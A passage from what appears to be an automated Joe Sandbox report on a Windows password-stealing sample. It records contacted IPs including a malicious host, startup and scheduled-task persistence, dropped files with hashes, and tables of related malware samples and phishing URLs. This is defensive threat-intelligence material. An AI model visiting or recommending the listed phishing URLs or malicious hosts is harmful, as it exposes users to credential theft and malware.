http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd	svchost.exe, 00000007.00000003.1623093821.0000023D06F78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1717308062.0000023D06F84000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1622716421.0000023D07679000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1482586939.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false
104.194.9.116	unknown	United States		23470	RELIABLESITEUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1416943
Start date and time:	2024-03-28 10:24:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 15m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	52
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe
Detection:	MAL
Classification:	mal100.troj.adwa.spyw.expl.evad.mine.winEXE@96/54@2/3
EGA Information:	Successful, ratio: 58.8%
HCA Information:	Successful, ratio: 64% Number of executed functions: 149 Number of non-executed functions: 206
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.190.151.68, 20.190.151.67, 20.190.151.6, 20.190.151.132, 20.190.151.69, 20.190.151.131, 20.190.151.133, 20.190.151.9, 72.21.81.240, 23.221.242.90, 13.85.23.86, 13.85.23.206, 69.164.0.128, 192.229.211.108, 20.189.173.22, 20.166.126.56, 52.165.165.26, 20.42.65.92, 20.42.73.29, 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, slscr.update.microsoft.com, onedsblobprdwus17.westus.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, wu.azureedge.net, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, glb.cws.prod.dcat.dsp.trafficmanager.net, ocsp.edge.digicert.com, onedsblobprdeus15.eastus.cloudapp.azure.com, hlb.apr-52dd2-0.edgecastdns.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, glb.sls.prod.dcat.dsp.trafficmanager.net, prdv4a.aadg.msidentity.com, fs.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, wu.ec.azureedge.net, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, www.tm.
Execution Graph export aborted for target MSBuild.exe, PID 3260 because it is empty
Execution Graph export aborted for target Microsoft.exe, PID 4536 because there are no executed function
Execution Graph export aborted for target hgzxhw.exe, PID 3660 because it is empty
Execution Graph export aborted for target msbuild.exe, PID 2432 because it is empty
Execution Graph export aborted for target msbuild.exe, PID 3960 because it is empty
Execution Graph export aborted for target spczxf.exe, PID 2908 because it is empty
Execution Graph export aborted for target utntwb.exe, PID 5788 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:25:27	API Interceptor	265532x Sleep call for process: svchost.exe modified
10:25:28	API Interceptor	3680017x Sleep call for process: jsc.exe modified
10:25:48	API Interceptor	5x Sleep call for process: WerFault.exe modified
10:25:53	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe
10:26:46	API Interceptor	340992x Sleep call for process: aspnet_wp.exe modified
10:26:55	Task Scheduler	Run new task: msbuild path: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe
10:27:01	API Interceptor	167691x Sleep call for process: wmplayer.exe modified
10:27:03	API Interceptor	23x Sleep call for process: powershell.exe modified
10:27:41	API Interceptor	84x Sleep call for process: WmiPrvSE.exe modified
10:27:41	API Interceptor	334289x Sleep call for process: conhost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
149.154.167.220	SecuriteInfo.com.Gen.Heur.Jatommy.03108.aaW@baaaa.28486.12528.exe	Get hash	malicious	Discord Token Stealer, XenoRAT, Xmrig	Browse
	SecuriteInfo.com.Win64.CrypterX-gen.14448.17144.exe	Get hash	malicious	Unknown	Browse
	x.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse
	aMObJ2eTUf.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine, zgRAT	Browse
	iY40ylvr5y.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	DHL9407155789...exe	Get hash	malicious	DarkCloud	Browse
	https://moodle-projects.wolfware.ncsu.edu/Shibboleth.sso/Logout?return=https://owa-storage-limitt.s3.us-east-2.amazonaws.com/owa-2024.html?uid=dGVzdEB0ZXN0LmNvbQo	Get hash	malicious	HTMLPhisher	Browse
	lnvoice-1445766252.pdf.js	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse
	JUSTIF.TRANSF..exe	Get hash	malicious	AgentTesla	Browse
	0lujRkTbEG.js	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse
104.194.9.116	file.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fp2e7a.wpc.phicdn.net	http://statisticsong.com	Get hash	malicious	Unknown	Browse	192.229.211.108
	8tUCycu3Wq.exe	Get hash	malicious	PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	192.229.211.108
	https://usersync.tiqcdn.net/ping/	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://login.service-mediobanca.com/?rid=5spGrj3	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://new-26766nbnberor44567789097jhjghgfvchg.s3.us-east-2.amazonaws.com/Win/index.html?tk=6mwXE1vq8p4KlPfsD2IC9FoU7MuHtzcB	Get hash	malicious	TechSupportScam	Browse	192.229.211.108
	https://www.applesassist.com/	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://f6dfsdfsdfsdfsdfsdfs.z13.web.core.windows.net/	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://0authdesktvalidatenowdiscover.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	192.229.211.108
	https://www.areaclientiweb.eu/	Get hash	malicious	PayPal Phisher	Browse	192.229.211.108
	http://oldbillnewbillcallnow.s3-website-sa-east-1.amazonaws.com/	Get hash	malicious	Unknown	Browse	192.229.211.108
api.telegram.org	SecuriteInfo.com.Gen.Heur.Jatommy.03108.aaW@baaaa.28486.12528.exe	Get hash	malicious	Discord Token Stealer, XenoRAT, Xmrig	Browse	149.154.167.220
	SecuriteInfo.com.Win64.CrypterX-gen.14448.17144.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	x.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	149.154.167.220
	aMObJ2eTUf.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine, zgRAT	Browse	149.154.167.220
	iY40ylvr5y.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	DHL9407155789...exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	https://moodle-projects.wolfware.ncsu.edu/Shibboleth.sso/Logout?return=https://owa-storage-limitt.s3.us-east-2.amazonaws.com/owa-2024.html?uid=dGVzdEB0ZXN0LmNvbQo	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	lnvoice-1445766252.pdf.js	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	149.154.167.220
	JUSTIF.TRANSF..exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	0lujRkTbEG.js	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	SecuriteInfo.com.Gen.Heur.Jatommy.03108.aaW@baaaa.28486.12528.exe	Get hash	malicious	Discord Token Stealer, XenoRAT, Xmrig	Browse	149.154.167.220
	SecuriteInfo.com.Win64.CrypterX-gen.14448.17144.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	x.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	149.154.167.220
	aMObJ2eTUf.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine, zgRAT	Browse	149.154.167.220
	iY40ylvr5y.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	DHL9407155789...exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	https://moodle-projects.wolfware.ncsu.edu/Shibboleth.sso/Logout?return=https://owa-storage-limitt.s3.us-east-2.amazonaws.com/owa-2024.html?uid=dGVzdEB0ZXN0LmNvbQo	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	lnvoice-1445766252.pdf.js	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	149.154.167.220
	JUSTIF.TRANSF..exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	0lujRkTbEG.js	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	149.154.167.220
RELIABLESITEUS	SecuriteInfo.com.Gen.Heur.Jatommy.03108.aaW@baaaa.28486.12528.exe	Get hash	malicious	Discord Token Stealer, XenoRAT, Xmrig	Browse	104.243.33.118
	SecuriteInfo.com.FileRepMalware.20494.7181.exe	Get hash	malicious	Xmrig	Browse	104.243.33.118
	SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe	Get hash	malicious	Xmrig	Browse	104.243.33.118
	TT-SWIFT-ERROR.exe	Get hash	malicious	AgentTesla	Browse	104.243.33.214
	nTDlOKAKOW.elf	Get hash	malicious	Unknown	Browse	154.16.151.110
	uMqeVeoVI4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	154.16.151.102
	xktih0mnmY.elf	Get hash	malicious	Mirai, Gafgyt	Browse	154.16.151.121
	scanned Draft Copy.xla.xlsx	Get hash	malicious	Remcos	Browse	103.195.103.144
	PURCHASE_ORDER_SPECIFICATIONS.xla.xlsx	Get hash	malicious	Remcos	Browse	103.195.103.144
	Order_specifications.xla.xlsx	Get hash	malicious	Remcos	Browse	45.126.208.191

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	http://www.cpearson.com/Zips/FindAll.zip	Get hash	malicious	Unknown	Browse	104.98.116.138
	https://new-26766nbnberor44567789097jhjghgfvchg.s3.us-east-2.amazonaws.com/Win/index.html?tk=6mwXE1vq8p4KlPfsD2IC9FoU7MuHtzcB	Get hash	malicious	TechSupportScam	Browse	104.98.116.138
	https://www.applesassist.com/	Get hash	malicious	Unknown	Browse	104.98.116.138
	https://mail.profil.aktualisieren.87-121-52-217.cprapid.com/	Get hash	malicious	PayPal Phisher	Browse	104.98.116.138
	https://attmailingselserviceupdate-4326763.ubpages.com/9448ff0e-ec5b-11ee-b33f/	Get hash	malicious	Unknown	Browse	104.98.116.138
	https://oo5-secondary.z31.web.core.windows.net/werrx01USAHTML/?bcda=(0101)-87764-30715	Get hash	malicious	TechSupportScam	Browse	104.98.116.138
	https://accedi.91-92-243-23.cprapid.com/ING/	Get hash	malicious	Unknown	Browse	104.98.116.138
	https://wigro-my.sharepoint.com/:b:/g/personal/wgrosz_wigrollc_com/EaDE-zx64QdFhFZzHN47-ncBF44bpJSf-g-cC6fI14U1dQ?e=l9dufw	Get hash	malicious	HTMLPhisher	Browse	104.98.116.138
	https://na4.docusign.net/Signing/EmailStart.aspx?a=2cb6bd57-08da-41fa-ba3e-335e4ec78d11&acct=4b9f472d-1c67-4f33-8c1e-bbe8b9668a32&er=1641611c-7ddf-44d0-b848-c94a5513531b	Get hash	malicious	HTMLPhisher	Browse	104.98.116.138
	https://in.xero.com/vBwCZAhFqYGjg61HNYslbFuhU3YdoremUEl8v3w6?utm_source=invoiceEmailViewInvoiceButton	Get hash	malicious	Unknown	Browse	104.98.116.138
3b5074b1b5d032e5620f69f9f700ff0e	11111.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	SecuriteInfo.com.Win64.CrypterX-gen.24907.17990.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	149.154.167.220
	f699.js	Get hash	malicious	Unknown	Browse	149.154.167.220
	x.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	149.154.167.220
	Move Mouse.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	SecuriteInfo.com.Win32.PWSX-gen.23268.16982.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	aMObJ2eTUf.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine, zgRAT	Browse	149.154.167.220
	RFQ20240327_Lista comercial_pdf.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.220
	Richiesta di preventivo_RFQ03272024_pdf.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.220
	invoicee.vbs	Get hash	malicious	Unknown	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	i1crvbOZAP.exe	Get hash	malicious	Amadey, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	149.154.167.220
	yU3icg18lq.exe	Get hash	malicious	Vidar	Browse	149.154.167.220
	RFQ20240327_Lista comercial_pdf.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.220
	Richiesta di preventivo_RFQ03272024_pdf.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.220
	invoicee.vbs	Get hash	malicious	Unknown	Browse	149.154.167.220
	RFQ20240327_Lista commerciale.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.220
	TOMBIG - 9004898 - Ponuka#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	149.154.167.220
	salaryinfo24.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.220
	IMCA Nowe zam#U00f3wienie.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.220
	Wage_Plan_pdf.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	file.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse
	file.exe	Get hash	malicious	PureLog Stealer	Browse
	KFpBzffEaM.exe	Get hash	malicious	Nanocore, PureLog Stealer, zgRAT	Browse
	LMcGYzntaD.exe	Get hash	malicious	Nanocore, PureLog Stealer, zgRAT	Browse
	Order 72005918536.bat.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Pitsn.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	ujWn3eOza6.exe	Get hash	malicious	GuLoader	Browse
	PANELLI_s.r.l._.exe	Get hash	malicious	GuLoader	Browse
	CDGT003983765367VND--30983RDGHJ.exe	Get hash	malicious	GuLoader, XWorm	Browse
	7nwLP8vlHl.exe	Get hash	malicious	PureLog Stealer	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.35901589905449205
Encrypted:	false
SSDEEP:	6:6xboaaD0JOCEfMuaaD0JOCEfMKQmDkxboaaD0JOCEfMuaaD0JOCEfMKQmD:ZaaD0JcaaD0JwQQnaaD0JcaaD0JwQQ
MD5:	7D48941DB05D2D1C9A0C52739933543F
SHA1:	4FF1446A7D5DA6BBEA145000B00A9F4FFED90930
SHA-256:	C436AB7F36E238365FDDF5BDFEB9EBFEFACE94AD0FEB79C571182DA968815D87
SHA-512:	41C7DA95797437840014733F7021883E034503A9D8F07F7C9A0B1131A869A29A6E00D4E9FA99EEDAFBDD2F0DFDAFFB0A7671D8F666DA0E2023CA887E4BA0FB62
Malicious:	false
Preview:	*.>...........f.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................f.............................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7107565798622393
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqm:2JIB/wUKUKQncEmYRTwh06
MD5:	26650EFAAE546048641D51C74282E06B
SHA1:	D501379C462D5911E73A12D88520FDD05E6926B6
SHA-256:	ABEB88646993245C6832DE7AF958AA55F2069075E12D3CD680C10AD368692DF6
SHA-512:	1E3BECEE3EC0BE949D5ABD3DFFDB09DC4D98B491B6D33FF573931B04D1E7F61A015E9C05A072E0EE13B7572F65825CA4287AB68FCA72FE0065828F0D924D370F
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x1a0db5ff, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6651319324979795
Encrypted:	false
SSDEEP:	1536:IfqSB2ESB2SSjlK/2502y0IEWBqbMo5g5+Ykr3g16z2UPkLk+kK+UJ8xUJSSiWjP:lazaU+uroc2U5Si6
MD5:	4318F9C1DA9F195974A414A2503C0571
SHA1:	4CD33F1A484C525A0216A3B8EE6E1443814BD5DC
SHA-256:	3D498150EF9A638843A5E15082400AA4F62AE7B068327D033E3CCA74F361E0B5
SHA-512:	291C61B17961BEA4A864EB11A29B492899169D1C958103C90A1EF92516381FAEC6CF6C18BB7E4CFB72863023AE51E7D75F671C422CD2196B9DCDB1A793DC8AF8
Malicious:	false
Preview:	....... .......#.......X\...;...{......................0.e.....&....\|.......\|..h.b.....&....\|..0.e.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{......................................&....\|.....................@&....\|...........................#......0.e.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07847206448583784
Encrypted:	false
SSDEEP:	3:ElsetYeJ9U2itklZ5uu4is5t/lGlD+ClillkqqG9lXlZOS:EbzJ9UJ0UGlEVr
MD5:	54A9ED1C5F1947F4740D9769174D219E
SHA1:	F88AE2C69ADA8762AF980C4D956AB567F0B4B457
SHA-256:	F2C97C3037C2855EA6CC902C3CC6435F833B404143E4A5C4B8005E6BD07CCF41
SHA-512:	F02EDCAC380D30B46B19C050863D2ABED20EF94FC6BAA19D5014D91C7759DA6FD60368743E862927A87845C6E9459129C694F6F9F5F56666F99BFCB657FEB5DA
Malicious:	false
Preview:	.^.0.....................................;...{.......\|..&....\|..........&....\|..&....\|....c.&....\|.....................@&....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_0WDZX0ZOOI1PRRIF_df62f32ee59d7ca897a8574ee9a18acb4a2a97_0c92175c_394f91dc-ad3c-4d96-9ece-ab7189c2220a\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1841782019862874
Encrypted:	false
SSDEEP:	192:JDo9N+i0xCt3a+z3OlTwyZFnj8BzuiFiZ24lO8u:to9NYxCt3aAocBzuiFiY4lO8u
MD5:	9913AB0331D1BA7F7AA6B3A0F40FBDBC
SHA1:	E8C3179B129B81CB9A5D90F0C04655A1B9F946CF
SHA-256:	6AB5301CFF57390051854E5907914171C1770C85CB4CFCC03A272221D2C2834D
SHA-512:	8A1CBFAA0CA232ECB9FEC23920D35ECA246D10A2BA1E4F54AAAF3CCFAFEBFC22F0814C8B6764EEA368A7BF9DFE7E39566F94FA1974F1C2B9C010516F9AB3948A
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.6.0.9.1.5.2.8.9.7.7.7.4.1.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.6.0.9.1.5.2.9.7.7.4.6.1.9.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.9.4.f.9.1.d.c.-.a.d.3.c.-.4.d.9.6.-.9.e.c.e.-.a.b.7.1.8.9.c.2.2.2.0.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.1.d.5.c.9.1.3.-.3.e.3.4.-.4.2.3.3.-.9.0.3.0.-.8.4.3.8.2.1.9.5.b.2.e.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...W.i.n.6.4...P.W.S.X.-.g.e.n...2.5.3.1.6...3.1.0.9.7...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.O.q.o.h.o.j.u.r.o.v.a.y.o.f.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.1.b.0.-.0.0.0.1.-.0.0.1.4.-.7.d.3.c.-.2.d.d.e.f.1.8.0.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.2.6.7.0.c.c.9.1.2.6.2.b.3.6.b.d.9.2.0.a.b.3.3.a.f.9.2.1.6.7.5.c.0.0.0.0.0.0.0.0.!.0.0.0.0.6.8.6.a.8.e.6.7.4.e.6.6.1.5.d.5.c.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_hgzxhw.exe_b7faaa96a846ed7b3f62e65dfab6c1e486782f_1d9feab2_19c46456-23aa-4aef-ace5-ed965f2d70af\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.6611510988196787
Encrypted:	false
SSDEEP:	384:azbXSUnUFa4olNLNzYvEtM0m8iq6XzuiF9Y4lO8+:az+UnUFaPxmbXzuiF9Y4lO8
MD5:	5A18C7715461698F9396A8FE9706675B
SHA1:	1D7A883E351622DE5F7DD4831059450800A4E7BB
SHA-256:	F1B6BA22A0CBE486C4C725B7CCC305D5D51B020571CA3B7AC83F6DE8B9C7B771
SHA-512:	38CE579A08C30BF91BCAE83F1915BF39FF935DE422F49AC39D1EDDFCDE9974FA421356680B9545A7B87F278A672739DE80D8CD5FA37E2149CE1A1A87CA87016A
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.6.0.9.1.6.1.0.6.3.0.0.5.1.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.6.0.9.1.6.1.2.4.1.1.3.2.3.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.9.c.4.6.4.5.6.-.2.3.a.a.-.4.a.e.f.-.a.c.e.5.-.e.d.9.6.5.f.2.d.7.0.a.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.0.7.d.4.4.2.4.-.0.2.3.f.-.4.a.8.b.-.9.c.1.4.-.e.f.e.a.e.8.a.3.f.6.7.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.h.g.z.x.h.w...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.a.y.a.r.e.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.e.4.c.-.0.0.0.1.-.0.0.1.4.-.1.4.e.9.-.0.c.0.a.f.2.8.0.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.5.b.1.9.4.8.2.8.6.1.4.0.7.f.4.d.2.1.e.3.d.0.9.d.c.c.7.1.e.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.9.b.2.6.a.a.7.3.f.4.3.a.4.d.b.9.b.2.1.6.b.9.0.d.1.a.a.3.e.2.e.4.d.6.0.2.f.d.e.8.!.h.g.z.x.h.w...e.x.e.....T.a.r.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_ohvrxt.exe_86725fff1ed7b180dee641e5a46ef7a46642c8a_4c771ea2_ad54622c-237f-402d-82fe-00fa4d7c783d\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1273943111460467
Encrypted:	false
SSDEEP:	192:k3aM90UnUVauj3OlTwyZFXj8XzuiF9Z24lO8Y:0aM+UnUVawosXzuiF9Y4lO8Y
MD5:	88D2F63E53D7CDA7C1105A5818C23E6B
SHA1:	78DABF34A7820D70C3D763817CA24C39C5300A27
SHA-256:	B0C96E81AE2737361CBDEB526388B1AE8D52172F5C2A075CE038A9A75EB4C374
SHA-512:	71DC194E1F83DD361AB1FFE754023D464EC984CCD6A59686837BEDFB4ED51F4BE8F19C7882FB7038F0B915759815E976226C8E0F3CFA5389DFC7FA11BE441E8D
Malicious:	false
